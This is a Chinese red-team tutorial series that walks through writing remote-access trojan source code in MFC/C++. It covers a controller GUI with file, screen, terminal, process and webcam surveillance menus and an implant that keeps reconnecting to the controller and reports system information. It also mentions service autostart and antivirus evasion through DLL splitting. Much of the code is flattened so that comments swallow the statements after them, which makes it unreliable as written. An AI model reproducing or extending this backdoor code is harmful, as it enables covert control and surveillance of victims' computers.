红队专题
- 招募六边形战士队员
- [1]远控介绍及界面编写
- 1.远程控制软件演示及教程简要说明
- 主程序
- 可执行程序 服务端生成器
- 主机上线
- 服务端程序 和 服务
- 文件管理
- CMD
- 进程
- 服务自启动
- 主程序
- 主对话框
- 操作菜单
- 列表框
- 配置信息
- 多线程操作
- 非模式对话框
- 2.环境:
- 3.界面编程
- 新建项目
- 使用静态库MFC
- 删除默认控件
- 设置项目
- 去除兼容问题
- 调出系统菜单
- 最大化最小化
- 可拖拽border
- 添加资源 菜单
- 关联菜单 ID
- 导入资源
- 添加菜单 信息
- cpp中添加 UpdateMain代码
- 添加列表框
- 列表栏View 改成报表
- 添加控件变量
- 主函数初始化端口
- 类视图重载函数
- 退出程序
- [2]界面编写及上线
- 1.课前回顾
- unicode编码 字符串
- 2.界面编程(下)
- 对话框
- 重载消息函数
- 更改对话框同步更改
- 3.服务端上线,下线,以及客户端的资源销毁(上)
- 添加socket 变量
- 添加 socket 消息
- 填补config信息
- 创建线程函数 并运行
- 添加Addhost
- 添加 getItemData
- 创建列表节点类
- ItemData编写
- 构造函数
- 类成员监听线程
- 运行函数
- 监听线程
- [3]客户端与服务端连接
- OnBeginListen 函数
- Common头文件新建项
- 结构体宏定义
- m_Mysocket C++类的编写
- 添加C++类
- itemData调用
- 继承
- 消息传递函数
- 上线信息
- 下线
- 使用消息宏
- 声明消息处理函数
- ShowOnLine()
- GetSocket()
- PlaySoundW
- [4]客户端与服务端连接
- 服务端编写
- 新建工程
- server函数
- 创建主线程类
- 获取配置信息
- 运行
- command 命令
- 头文件里创建引用
- win32 类库/头文件
- startsocket 开始监听 类函数
- 添加类
- StartSocket
- mysend/myrecv
- 设置
- m_sock
- Common 头文件
- MSGINFO_S 结构体
- ThreadMain头文件
- runflag 启动
- [5]客户端与服务端连接
- 端
- 操作系统SystemInfo类
- 获取系统信息
- 发送系统信息
- 头文件声明
- 头文件调用
- 未找到来自 OleAcc.dll 的导入LINK
招募六边形战士队员
一起学习 代码审计、安全开发、web攻防、逆向等。。。
私信联系
[1]远控介绍及界面编写
1.远程控制软件演示及教程简要说明
服务启动 ---- 注销 模式 可以自动启动服务 上线
- 编写前 功能了解分析
- 界面 运行模式
主程序
主对话框
操作菜单
列表框
配置信息
多线程操作
非模式对话框
2.环境:
操作系统:Windows 7
编译器:VS2008
3.界面编程
https://www.cctry.com/
新建项目
使用静态库MFC
为了在没有 安装运行库的 主机上使用
删除默认控件
设置项目
去除兼容问题
调出系统菜单
最大化最小化
可拖拽border
添加资源 菜单
client.rc 中添加资源
文件 退出
选项 配置
关于 关于我们
关联菜单 ID
导入资源
添加菜单 信息
相关代码
.h 头文件中创建private:CToolBar m_toolbar; //工具条类CImageList m_imagelist; // 图像列表CStatusBar m_statusbar;CBitmap m_subbmp[6];CImageList m_mainicon;void UpdateMain(int port);UINT m_port;UINT m_max;UINT m_Sound;public:CListCtrl m_list;
菜单项 + 图标
菜单栏
列表框 + 图标
cpp中添加 UpdateMain代码
五个重载方法
第一个 注意 参数 无符号整形
查询 MSDN
· 位图对象
· 颜色信息
宏 定义 id号 对应 资源
rc的代码
· id 号
· 资源类型
· 具体路径
void 你的Dlg::UpdateMain(int port)
{// 创建图像列表m_imagelist.Create(32,32,ILC_COLOR24|ILC_MASK,1,1);CBitmap bmp;
// 创建位图对象for(int i=0;i<8;i++){// 通过 id 依次导入位图 bmp.LoadBitmapW(IDB_BITMAP1+i);// 将真彩色255 位图 添加进 image列表m_imagelist.Add(&bmp,RGB(255,255,255));bmp.DeleteObject();// 释放资源}/*m_bmp[0].LoadBitmap(IDB_MENU_EXIT);m_bmp[1].LoadBitmap(IDB_MENU_SETTING);m_bmp[2].LoadBitmap(IDB_MENU_ABOUT);m_subbmp[0].LoadBitmapW(IDB_MENU_AGENT);m_subbmp[1].LoadBitmapW(IDB_MENU_SHUTDOWN);m_subbmp[2].LoadBitmapW(IDB_MENU_RESTART);m_subbmp[3].LoadBitmapW(IDB_MENU_UPDATE);m_subbmp[4].LoadBitmapW(IDB_MENU_HTTP);m_subbmp[5].LoadBitmapW(IDB_MENU_RUN);GetMenu()->GetSubMenu(0)->SetMenuItemBitmaps(0,MF_BYPOSITION, &m_bmp[0], &m_bmp[0]);GetMenu()->GetSubMenu(1)->SetMenuItemBitmaps(0,MF_BYPOSITION, &m_bmp[1], &m_bmp[1]);GetMenu()->GetSubMenu(2)->SetMenuItemBitmaps(0,MF_BYPOSITION, &m_bmp[2], &m_bmp[2]);
*/// 工具栏的设定
// 包含九个元素[按钮ID]的 无符号整形 常量 数组 0为竖线const UINT t[9] = {1001,1002,1003,1004,1005,1006,0,1007,1008};// 用于单击事件的触发// 指向this 指针 主对话框m_toolbar.CreateEx(this);
// id数组 数量m_toolbar.SetButtons(t,9);// 按钮 图标 设置大小m_toolbar.SetSizes(CSize(60,56),CSize(24,24));m_toolbar.SetButtonText(0,_T("文件管理"));m_toolbar.SetButtonText(1,_T("屏幕监控"));m_toolbar.SetButtonText(2,_T("超级终端"));m_toolbar.SetButtonText(3,_T("进程管理"));m_toolbar.SetButtonText(4,_T("视频监控"));m_toolbar.SetButtonText(5,_T("卸载主机"));m_toolbar.SetButtonText(7,_T("程序设置"));m_toolbar.SetButtonText(8,_T("关于软件"));//关联 imagelist GetToolBarCtrl()获取指针 设置图像列表m_toolbar.GetToolBarCtrl().SetImageList(&m_imagelist);// 状态栏设置BOOL hbar = m_statusbar.Create(this);UINT b[2]={1009,1010};hbar = m_statusbar.SetIndicators(b,2);// 关联状态栏 id 按钮id 风格 长度m_statusbar.SetPaneInfo(0,b[0],SBPS_NORMAL,400);m_statusbar.SetPaneInfo(1,b[1],SBPS_NORMAL,180);CString ListemPort;ListemPort.Format(_T("监听端口:%d"),port);m_statusbar.SetPaneText(0,ListemPort);m_statusbar.SetPaneText(1,_T("在线主机:0 台"));// 重设 工具条 RepositionBars(AFX_IDW_CONTROLBAR_FIRST,AFX_IDW_CONTROLBAR_LAST,0);/*m_mainicon.Create(16,16,ILC_COLOR24|ILC_MASK,1,0);m_mainicon.Add(LoadIcon(AfxGetResourceHandle(),MAKEINTRESOURCE(IDI_USER)));m_mainicon.Add(LoadIcon(AfxGetResourceHandle(),MAKEINTRESOURCE(IDI_CAM)));m_list.SetImageList(&m_mainicon,LVSIL_SMALL);*/// 重新 设置列表框 拓展风格 整行选中 报表 复选框m_list.SetExtendedStyle(LVS_EX_FULLROWSELECT|LVS_EX_GRIDLINES|LVS_EX_CHECKBOXES);// 插入条目m_list.InsertColumn(0,_T("地理位置"),LVCFMT_LEFT,160);m_list.InsertColumn(1,_T("IP地址"),LVCFMT_LEFT,110);m_list.InsertColumn(2,_T("操作系统"),LVCFMT_LEFT,90);m_list.InsertColumn(3,_T("代理状态"),LVCFMT_LEFT,60);m_list.InsertColumn(4,_T("服务端版本号"),LVCFMT_LEFT,100);GetClientRect(&m_rect);
}有些东西需要注释掉
添加列表框
程序框最大化
留出 工具栏菜单栏状态栏地方
列表栏View 改成报表
添加控件变量
注意update函数
主函数初始化端口
类视图重载函数
BOOL CExecN0vvDlg::PreTranslateMessage(MSG* pMsg)
{// TODO: 在此添加专用代码和/或调用基类if(pMsg->message==WM_KEYDOWN){int nVirtKey = (int)pMsg->wParam;if(nVirtKey==VK_RETURN || nVirtKey==VK_ESCAPE){return TRUE;}}return CDialog::PreTranslateMessage(pMsg);
}
判断 传入的无符号整形的参数 是否为 WM_KEYDOWN
按键消息
等于回车 或者 ESC 截断
退出程序
void CExecN0vvDlg::OnClose()
{// TODO: 在此添加消息处理程序代码和/或调用默认值int t = MessageBoxW(_T("确定要退出程序吗?"),_T("提示"),MB_YESNO|MB_ICONINFORMATION);if(t == IDYES){//CloseAllSocket();::closesocket(s);m_Mysock.Clean();}else{return;}CDialog::OnClose();
}
private:CToolBar m_toolbar;CImageList m_imagelist;CStatusBar m_statusbar;CBitmap m_subbmp[6];CImageList m_mainicon;void UpdateMain(int port);UINT m_port;UINT m_max;UINT m_Sound;CRect m_rect;bool InitSocket();SOCKET s;static DWORD WINAPI OninitSocket(LPVOID self);void AddHost(SOCKET sock,SOCKADDR_IN addr);void GetNewItemData(SOCKET sock,SOCKADDR_IN addr);LRESULT OnAddHost(WPARAM wparam,LPARAM lparam);LRESULT OnOffLine(WPARAM wparam,LPARAM lparam);void ShowOnLine();CMysocket m_Mysock;public:CListCtrl m_list;virtual BOOL PreTranslateMessage(MSG* pMsg);afx_msg void OnSize(UINT nType, int cx, int cy);afx_msg void OnClose();
};
[2]界面编写及上线
1.课前回顾
#pragma comment(lib,“ws2_32.lib”)
unicode编码 字符串
_T 宏
多字节编码 ----字符集 知识点
项目属性
2.界面编程(下)
对话框
对话框资源
头文件 添加
private:CToolBar m_toolbar;CImageList m_imagelist;CStatusBar m_statusbar;CBitmap m_subbmp[6];CImageList m_mainicon;void UpdateMain(int port);UINT m_port;UINT m_max;UINT m_Sound;CRect m_rect; // 矩形变量
重载消息函数
查看声明
Dlgcpp里// 当客户端大小发生改变 计算差值 客户端内部控件 同步改变
void CExecN0vvDlg::OnSize(UINT nType, int cx, int cy)
{// 基类 对对话框改变CDialog::OnSize(nType, cx, cy);
// 类型等于最小化的 宏if(nType == SIZE_MINIMIZED){return;}// TODO: 在此处添加消息处理程序代码CWnd *pWnd; // 窗口类指针pWnd = GetDlgItem(IDC_LIST1); //获取控件句柄 条目id// 控件大小操作if(pWnd)//判断是否为空,因为对话框创建时会调用此函数,而当时控件还未创建{CRect rect,rect_l; //获取控件变化前大小 eg 50x50GetClientRect(&rect_l); // 客户区 控件大小pWnd->GetWindowRect(&rect);ScreenToClient(&rect);rect.right = cx; // 把控件大小变换//rect_l 变化前 rect.bottom= rect.bottom + (rect_l.bottom - m_rect.bottom);pWnd->MoveWindow(rect);//设置控件大小// 重设状态栏 置底RepositionBars(AFX_IDW_CONTROLBAR_FIRST,AFX_IDW_CONTROLBAR_LAST,0);}/*else{delete pWnd;}*/GetClientRect(&m_rect);// 还是记录初始值}
更改对话框同步更改
初始化时候调用了 updatemain
初始化程序界面
获取客户端程序客户区 界面大小
存放在 m_rect
3.服务端上线,下线,以及客户端的资源销毁(上)
列表控件
常规对应 socket指针
我们对应一个类指针
启动监听线程
不会发生阻塞状态
添加socket 变量
添加 socket 消息
头文件定义 InitSocket
Dlgcpp 加入 bool C你的Dlg::InitSocket() //初始化SOCKET
{WSADATA WSAData; // 初始化WSAStartup(MAKEWORD(2,2), &WSAData);SOCKADDR_IN saddr; // 声明结构体// 结构体操作 初始化 s=::socket(AF_INET,SOCK_STREAM,0);if(s==SOCKET_ERROR){MessageBox(_T("创建连接失败"),_T("提示"),MB_OK|MB_ICONWARNING);return false;}// 结构体赋值saddr.sin_family=AF_INET;saddr.sin_addr.S_un.S_addr=INADDR_ANY;saddr.sin_port=htons(m_port);int nRet;nRet=::bind(s,(SOCKADDR *)&saddr,sizeof(saddr));if(nRet == SOCKET_ERROR){MessageBox(_T("绑定端口失败"),_T("提示"),MB_OK|MB_ICONWARNING);return false;}// 最大上线主机数量 m_max Wint类型nRet=listen(s,m_max);if(nRet == SOCKET_ERROR){MessageBox(_T("监听端口失败"),_T("提示"),MB_OK|MB_ICONWARNING);return false;}while(1){SOCKET SerSock;SOCKADDR_IN Seraddr; // 结构体int Seraddrsize=sizeof(Seraddr);// 接受连接SerSock = accept(s,(sockaddr *)&Seraddr,&Seraddrsize);if (SerSock == INVALID_SOCKET){continue;}// 添加主机AddHost(SerSock,Seraddr);}return true;
}
syc系列 winSocket I/O模型
填补config信息
创建线程函数 并运行
为了适配多线程
防止上面的循环死锁 堵塞
所以把初始化操作封装到一个函数内
Dlgcpp // 空指针 传递了一个 当前类的 this指针
DWORD WINAPI C你的Dlg::OninitSocket(LPVOID self) //初始化Socket线程
{// 强制转换C你的Dlg* t = (C你的Dlg*)self;t->InitSocket();return 0;
}头文件静态声明static DWORD WINAPI OninitSocket(LPVOID self);
关闭句柄
添加Addhost
void C你的Dlg::AddHost(SOCKET sock,SOCKADDR_IN addr) //添加主机函数
{GetNewItemData(sock,addr);// 每一个主机节点都是一个类的指针 新申请一个类指针return;
}头文件声明
void AddHost(SOCKET sock,SOCKADDR_IN addr);
添加 getItemData
void C你的Dlg::GetNewItemData(SOCKET sock,SOCKADDR_IN addr) //获取新的条目数据
{// 条目信息类 指针 并判断 id是否重复CItemData *item;int id; //声明新的idint Count = m_list.GetItemCount();if(Count == 0){id = 0;}else{id = 0;for(int i=0;i<Count;i++){item = (CItemData*)m_list.GetItemData(i);if(item->m_id == id) // 判断是否为这个 id{i = 0;id = id + 1;continue;}}}item = NULL;item = new CItemData(id,sock,&addr,this->m_hWnd);// 声明一个 条目类item->Run();// 最后调用了 run这个函数
}头文件声明
void GetNewItemData(SOCKET sock,SOCKADDR_IN addr);
创建列表节点类
头文件中调用这个类
ItemData编写
构造函数
cpp 方法 条目信息CItemData::CItemData(UINT id,SOCKET sock,SOCKADDR_IN *addr,HWND m_hWnd)
{this->m_id = id; // 上线主机id号 删除操作this->m_sock = sock; // 消息传递 SOCKADDR_IN *addr 对方ip获取操作this->m_hWnd = m_hWnd; // 获取父类指针char *csIP = inet_ntoa(addr->sin_addr); // inet_ntoa 获取ip addr结构体m_IP.Format(_T("%s"),_T("127.0.0.1"));m_Address.Format(_T("未知"));if(m_Address.IsEmpty()) // 地理位置信息{m_Address.Format(_T("未知"));}
}//m_IP.Format(_T("%s"),m_str.CharToCString(csIP));//m_Address = QQ.IP2Add(m_IP);头文件#pragma onceclass CItemData
{
public:CItemData(UINT id,SOCKET sock,SOCKADDR_IN *addr,HWND m_hWnd);~CItemData(void);UINT m_id;void Run();SOCKET GetSocket();CString m_IP;CString m_Address;CString m_OS;CString m_Ver; // 操作系统版本bool Cam; // 摄像头// 私有成员变量
private: SOCKET m_sock; HWND m_hWnd;static DWORD WINAPI OnListen(LPVOID lp);void OnBeginListen();
};
类成员监听线程
DWORD WINAPI CItemData::OnListen(LPVOID lp)
{CItemData* t = (CItemData*)lp;t->OnBeginListen(); // 调用监听线程return 0;
}
运行函数
用多线程手法来运行 监听线程
void CItemData::Run()
{::CloseHandle(CreateThread(0,0,OnListen,(LPVOID)this,0,0));
}
监听线程
监听远程主机信息 操作
发送信息等等
void CItemData::OnBeginListen() //等待完善
{
}
[3]客户端与服务端连接
OnBeginListen 函数
远程主机节点信息条目
前情回顾
主函数->初始化->创建线程->while循环监听->主机上线->itemrun->创建远程信息监听线程
(获取操作系统,磁盘信息)
void CItemData::OnBeginListen() //等待完善
{int nRet; // socket 是否发送成功MSGINFO msg; // 接受远程主机发送过来的信息 的结构体 双向memset(&msg,0,sizeof(MSGINFO)); // 初始化 重置0msg.Msg_id = SYSINFO;nRet = m_Mysocket.SendCommand(m_sock,(char*)&msg,sizeof(MSGINFO)); // 操作类// send 成员方法 发送连接if(nRet == SOCKET_ERROR){MessageBox(_T("获取系统信息消息发送失败"),_T("警告"),MB_OK|MB_ICONWARNING);}memset(&msg,0,sizeof(MSGINFO));while(true) // 不断获取远程客户端发送来的信息{// 结构体格式发送 socket值 缓存区字符(指针强制转换) 大小nRet = m_Mysocket.RecvCommand(m_sock,(char*)&msg,sizeof(MSGINFO));if(nRet == 0){if(WSAGetLastError()==WSAEWOULDBLOCK) //WSAEWOULDBLOCK的错误,则表示要发生阻塞了{Sleep(50);continue; //进行下次循环}else{//接收消息失败,发送下线通知::closesocket(m_sock);::SendMessageW(this->m_hWnd,ID_OFFLINE,this->m_id,0); // 发送给主窗口// itemdata 的成员 m_hWnd 获取 类的指针// 窗体 消息 高字节 低字节 下线主机的id值 0return;}}else{switch(msg.Msg_id) // 消息的判断{case SYSINFO: // 获取主机信息操作{ // 上线处理SYSTEMINFO systeminfo;// 初始化memset(&systeminfo,0,sizeof(SYSTEMINFO));memcpy(&systeminfo,msg.context,sizeof(SYSTEMINFO));GetSysVer(systeminfo);::SendMessage(m_hWnd,ID_ONLINE,(WPARAM)this,0);}break;}}}
}
远控软件 的 消息传递 - 结构体
消息 类别id、内容
typedef struct tagMSGINFO
{int Msg_id;BYTE context[1024*5];
}MSGINFO;#define SYSINFO 0x01
Common头文件新建项
结构体宏定义
#pragma once
#include "stdafx.h"
#define SYSINFO 0x01// 两个消息 上线 下线信息
#define ID_ONLINE WM_USER+1
#define ID_OFFLINE WM_USER+2typedef struct tagMSGINFO //传输消息结构体
{int Msg_id;BYTE context[1024*5];
}MSGINFO;typedef struct tagSYSTEMINFO //上线信息
{int os;bool Cam; //摄像头double ver;
}SYSTEMINFO;
m_Mysocket C++类的编写
添加C++类
头文件
public:CMySocket(void);~CMySocket(void);void Clean();int RecvCommand(SOCKET socket,char* buf,int bytes);int SendCommand(SOCKET socket,const char* buf,int bytes);
};
源文件
int CMySocket::SendCommand(SOCKET socket,const char* buf,int bytes)
{// char 的指针 const char *b = buf;while(bytes > 0) // 保证完全发送{ int r = send(socket,b,bytes,0); // 用api发送if(r < 0) // 发送出错{ return r; } else if(r == 0) // 成功{break;} bytes -= r; b += r; } return b - (char*)buf;
}int CMySocket::RecvCommand(SOCKET socket,char* buf,int bytes)
{char *b = (char*)buf;while(bytes > 0){int r = recv(socket,b,bytes,0);if(r < 0){return 0;}else if(r == 0){break;}bytes = bytes - r;b = b + r;}return b - (char*)buf;
}void CMySocket::Clean()
{::WSACleanup(); // 销毁 WSA 调用
}
itemData调用
头文件引入
#include "MySocket.h"
#include "Common.h"private:static DWORD WINAPI OnListen(LPVOID lp); // 生存周期比较长 静态void GetSysVer(SYSTEMINFO sys);CMySocket m_Mysocket; // 引入
源文件引入
void CItemData::GetSysVer(SYSTEMINFO sys)
{this->Cam = sys.Cam;this->m_Ver.Format(_T("%0.2lf 测试版"),sys.ver);switch(sys.os){case 4:{this->m_OS.Format(_T("Windows 7"));}break;case 3:{this->m_OS.Format(_T("Windows 2003"));}break;case 2:{this->m_OS.Format(_T("Windows Vista"));}break;case 1:{this->m_OS.Format(_T("Windows XP"));}break;case 0:{this->m_OS.Format(_T("Windows 2000"));}break;default:{this->m_OS.Format(_T("未知系统版本"));}}
}
继承
class CItemData : public CDialog
也可以添加类的时候 写上基类
MessageBox( _T("获取系统信息消息发送失败"),_T("警告"),MB_OK|MB_ICONWARNING);
消息传递函数
将结构体传递到窗体
上线信息
LRESULT C你的Dlg::OnAddHost(WPARAM wparam,LPARAM lparam) //主机上线消息体
{CItemData *t = (CItemData*)wparam; // 高字节强制转换成类指针int i = m_list.GetItemCount();m_list.InsertItem(i,t->m_Address,0);m_list.SetItemText(i,1,t->m_IP);m_list.SetItemText(i,2,t->m_OS);m_list.SetItemText(i,3,_T("未开启"));m_list.SetItemText(i,4,t->m_Ver);m_list.SetItemData(i,(DWORD)t); // 指针保存ShowOnLine();if(m_Sound == 1) // 初始化的值{PlaySoundW(_T("Sound\\online.wav"),0,SND_FILENAME|SND_ASYNC);}return 0;
}
下线
LRESULT C你的Dlg::OnOffLine(WPARAM wparam,LPARAM lparam) //主机下线消息体
{CItemData* t;for(int i=0;i<m_list.GetItemCount();i++){t = (CItemData*)m_list.GetItemData(i); // 获取类的指针 id 号强转if(t->m_id == (int)wparam) // 比较{::closesocket(t->GetSocket());delete t; // 防止资源泄漏m_list.DeleteItem(i); }}ShowOnLine(); if(m_Sound == 1){PlaySoundW(_T("Sound\\offline.wav"),0,SND_FILENAME|SND_ASYNC);}return 0;
}
使用消息宏
//主机消息ON_MESSAGE(ID_ONLINE,OnAddHost)ON_MESSAGE(ID_OFFLINE,OnOffLine)
声明消息处理函数
头文件中
private:LRESULT OnAddHost(WPARAM wparam,LPARAM lparam);LRESULT OnOffLine(WPARAM wparam,LPARAM lparam); // 长指针void ShowOnLine();
ShowOnLine()
更新底部状态栏的数量
void C你的Dlg::ShowOnLine() //设置在线主机
{int c=m_list.GetItemCount();CString online;TCHAR* szText;online.Format(_T("在线主机:%d 台"),c);szText = online.GetBuffer(online.GetLength());// 状态栏类 重设消息值 ::SendMessageW(m_statusbar, SB_SETTEXTW, (WPARAM)1, (LPARAM)szText);online.ReleaseBuffer();// 释放缓冲区
}
GetSocket()
SOCKET CItemData::GetSocket()
{return this->m_sock;
}SOCKET GetSocket();
PlaySoundW
#include <mmsystem.h>
#pragma comment(lib, "WINMM.LIB")
[4]客户端与服务端连接
服务端编写
新建工程
server函数
// FackExec_N0vv.cpp : 定义控制台应用程序的入口点。
//#include "stdafx.h"void Server();void Server()
{CThreadMain Thread_Main; // 主线程类 对象Thread_Main.GetInfo(); //获取配置信息/*if(Auto[1] == '1'){wcscpy_s(Thread_Main.MyServiceName,(wchar_t*)ServiceName);}*/// 增加自启动 服务名while(true){if(Thread_Main.RunFlag == false){break;}SOCKET sock;sock = Thread_Main.Run();Thread_Main.Command(sock);}
}int _tmain(int argc, _TCHAR* argv[])
{Server();return 0;
}
创建主线程类
获取配置信息
void CThreadMain::GetInfo()
{int Port = atoi(czPort);this->Time = atoi(czTime);this->SetupDir = atoi(czSetupDir);this->AutoFlag = atoi(czAuto);
}用来生成配置文件
运行
SOCKET CThreadMain::Run()
{SOCKET sock;while(true){sock = m_sock.StartSocket(this->Address); // 连接远程主机 ipif(sock == NULL){Sleep(this->Time * 1000); // 等待60sprintf("Sleep\n");continue;}else{break;}}return sock; }
command 命令
void CThreadMain::Command(SOCKET Sock)
{MSGINFO_S msg;m_Socket = Sock;while(1){if(this->RunFlag == false) // 程序是否可以运行{break;}memset(&msg,0,sizeof(MSGINFO_S)); // 消息结构体 清空if(m_sock.MyRecv(Sock,(char*)&msg,sizeof(MSGINFO_S))==0) // 连接{break;}ExecCommand(msg,Sock); // 执行命令}return;
}void CThreadMain::ExecCommand(MSGINFO_S msg,SOCKET l_Socket)
{switch(msg.Msg_id){case SYSINFO:{printf("GetSystemInfo\n");m_sys.SendSysinfo(l_Socket);}break;default:{printf("UnKnow Command\n");return;}}
}
头文件里创建引用
#pragma onceclass CThreadMain
{
public:CThreadMain(void);~CThreadMain(void);void GetInfo();private:SOCKET Run();void Command(SOCKET Sock);void ExecCommand(MSGINFO_S msg,SOCKET l_Socket);
};
win32 类库/头文件
#include <winsock2.h> stdafx.h中
头文件调用 stdafx.h
#pragma comment(lib,“ws2_32.lib”)
#pragma comment(lib,“User32.lib”)
#pragma comment(lib,“Advapi32.lib”)
startsocket 开始监听 类函数
添加类
StartSocket
链接远程ip地址
SOCKET CMySocket::StartSocket(char Address[160])
{WSADATA data;WORD w=MAKEWORD(2,2);::WSAStartup(w,&data);SOCKET s;s=::socket(AF_INET,SOCK_STREAM,0);sockaddr_in addr;addr.sin_family = AF_INET;addr.sin_port = htons(m_port);addr.sin_addr.S_un.S_addr = inet_addr(Address);if(::connect(s,(sockaddr*)&addr,sizeof(addr))==SOCKET_ERROR){printf("Connect Error\n");DWORD e = GetLastError();printf("LastError:%d\n",e);s = NULL;}else{printf("Connect Success!\n");}return s;
}SOCKET StartSocket(char Address[160])
mysend/myrecv
int CMySocket::MySend(SOCKET socket,const char* buf,int bytes)
{const char *b = buf;while(bytes > 0) { int r = send(socket,b,bytes,0); if(r < 0) {printf("Socket_Error\n");return r; } else if(r == 0){printf("Socket_Error\n");break;} bytes -= r; b += r; } return b - (char*)buf;
}int CMySocket::MyRecv(SOCKET socket,char* buf,int bytes)
{char *b = (char*)buf;while(bytes > 0){int r = recv(socket,b,bytes,0);if(r < 0){return 0;}else if(r == 0){break;}bytes = bytes - r;b = b + r;}return b - (char*)buf;
}
#pragma once
#include "stdafx.h"class CMySocket
{
public:CMySocket(void);~CMySocket(void);SOCKET StartSocket(char Address[160]);int MySend(SOCKET socket,const char* buf,int bytes);int MyRecv(SOCKET socket,char* buf,int bytes);
};
设置
m_sock
#pragma once#include "stdafx.h"
#include "MySocket.h"private: void ExecCommand(MSGINFO_S msg,SOCKET l_Socket);CMySocket m_sock;char Address[160];
};
void CThreadMain::GetInfo()
{int Port = 1474;//this->Time = 60;//this->SetupDir = 0;//this->AutoFlag = 1;m_sock.m_port = Port;strcpy_s(Address,"127.0.0.1");}
Common 头文件
头文件 新添加项
MSGINFO_S 结构体
#pragma once
#include <windows.h>
#define SYSINFO 0x01typedef struct tagMSGINFO //传输消息结构体
{int Msg_id;BYTE context[1024*5];
}MSGINFO_S;typedef struct tagSYSTEMINFO
{int os;bool Cam; //摄像头double ver;
}SYSTEMINFO_S;
ThreadMain头文件
#pragma once#include "stdafx.h"
#include "MySocket.h"
#include "Common.h"class CThreadMain
{
public:CThreadMain(void);~CThreadMain(void);void GetInfo();bool RunFlag;SOCKET Run();void Command(SOCKET Sock);private:void ExecCommand(MSGINFO_S msg,SOCKET l_Socket);CMySocket m_sock;char Address[160];SOCKET m_Socket;};
runflag 启动
#include "stdafx.h"
#include "ThreadMain.h"
#pragma comment(lib,"ws2_32.lib")
#pragma comment(lib,"User32.lib")
#pragma comment(lib,"Advapi32.lib")void Server();void Server()
{CThreadMain Thread_Main;Thread_Main.RunFlag = true;Thread_Main.GetInfo(); //获取配置信息
[5]客户端与服务端连接
端
发送连接->进入主线程->返回socket->执行命令
->SYSINFO获取系统信息->发送系统信息
switch(msg.Msg_id){case SYSINFO:{printf("GetSystemInfo\n");m_sys.SendSysinfo(l_Socket);}break;default:{printf("UnKnow Command\n");return;}}
封装类
谁使用谁声明谁调用
免杀 kill 类 做成dll文件 分离释放
操作系统SystemInfo类
获取系统信息
int CSystemInfo::GetSys_ver()
{OSVERSIONINFO osver = {sizeof(OSVERSIONINFO)};GetVersionEx(&osver);int t;if (osver.dwMajorVersion == 5 && osver.dwMinorVersion == 0){t = 0;}else if (osver.dwMajorVersion == 5 && osver.dwMinorVersion == 1){t = 1;}else if (osver.dwMajorVersion == 6 && osver.dwMinorVersion == 0){t = 2;}else if (osver.dwMajorVersion == 5 && osver.dwMinorVersion == 2){t = 3;}else t = 4;return t;
}
发送系统信息
void CSystemInfo::SendSysinfo(SOCKET sock)
{SYSTEMINFO_S system;system.os = GetSys_ver();system.ver = 0.1; //版本号system.Cam = false;MSGINFO_S msg;memset(&msg,0,sizeof(MSGINFO_S));msg.Msg_id = SYSINFO;memcpy(msg.context,&system,sizeof(SYSTEMINFO_S));m_sock.MySend(sock,(char*)&msg,sizeof(MSGINFO_S));// 使用了 CMysocket这个类
}
头文件声明
#pragma once
#include "MySocket.h"
#include "Common.h"class CSystemInfo
{
public:CSystemInfo(void);~CSystemInfo(void);void SendSysinfo(SOCKET sock);CMySocket m_sock;
private:int GetSys_ver();};
#define SYSINFO 0x01
// 通用结构体文件
路径
自启动
头文件调用
#pragma once#include "stdafx.h"
#include "MySocket.h"
#include "Common.h"
#include "SystemInfo.h"class CThreadMain
{
public:CThreadMain(void);~CThreadMain(void);void GetInfo();bool RunFlag;SOCKET Run();void Command(SOCKET Sock);private:void ExecCommand(MSGINFO_S msg,SOCKET l_Socket);CMySocket m_sock;char Address[160];SOCKET m_Socket;int Time;CSystemInfo m_sys;};
未找到来自 OleAcc.dll 的导入LINK
/DELAYLOAD:OleAcc.dll;
warning LNK4199: 已忽略